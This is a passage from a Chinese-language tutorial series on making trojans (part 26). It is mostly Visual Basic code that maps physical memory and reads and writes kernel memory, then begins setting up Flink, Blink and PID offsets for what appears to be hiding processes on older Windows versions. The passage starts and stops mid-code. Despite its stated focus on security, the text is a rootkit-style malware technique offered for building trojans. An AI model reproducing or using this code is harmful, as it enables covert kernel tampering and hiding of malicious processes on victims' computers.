教你如何做木马(26)

主要是讲解木马的危险和系统安全

PGDE = MapViewOfFile(g_hMPM, 4, 0, PGDE And &HFFFFF000, &H1000)

lTemp = (VAddr And &H3FF000) / (2 ^ 12)

PTE = PGDE + lTemp * 4

CopyMemory PTE, ByVal PTE, 4

If (PTE And 1) <> 0 Then

PAddr = (PTE And &HFFFFF000) + (VAddr And &HFFF)

UnmapViewOfFile PGDE

End If End If End If

LinearToPhys = PAddr End Function

Private Function GetData(addr As Long) As Long

Dim phys As Long, tmp As Long, ret As Long

phys = LinearToPhys(g_pMapPhysicalMemory, addr)

tmp = MapViewOfFile(g_hMPM, 4, 0, phys And &HFFFFF000, &H1000)

If tmp <> 0 Then

ret = tmp + ((phys And &HFFF) / (2 ^ 2)) * 4

CopyMemory ret, ByVal ret, 4

UnmapViewOfFile tmp

GetData = ret End If End Function

Private Function SetData(ByVal addr As Long, ByVal data As Long) As Boolean

Dim phys As Long, tmp As Long, x As Long

phys = LinearToPhys(g_pMapPhysicalMemory, addr)

tmp = MapViewOfFile(g_hMPM, SECTION_MAP_WRITE, 0, phys And &HFFFFF000, &H1000) If tmp <> 0 Then

x = tmp + ((phys And &HFFF) / (2 ^ 2)) * 4

CopyMemory ByVal x, data, 4

UnmapViewOfFile tmp

SetData = True End If End Function Private Function ByteArrToLong(inByte() As Byte) As Double

Dim I As Integer

For I = 0 To 3

ByteArrToLong = ByteArrToLong + inByte(I) * (&H100 ^ I)

Next I End Function Private Sub Command1_Click()

Dim thread As Long, process As Long, fw As Long, bw As Long

Dim strInfo As String Dim lOffsetFlink As Long

Dim lOffsetBlink As Long

Dim lOffsetPID As Long

verinfo.dwOSVersionInfoSize = Len(verinfo)

If (GetVersionEx(verinfo)) <> 0 Then

If verinfo.dwPlatformId = 2 Then

If verinfo.dwMajorVersion = 5 Then

Select Case verinfo.dwMinorVersion

Case 0

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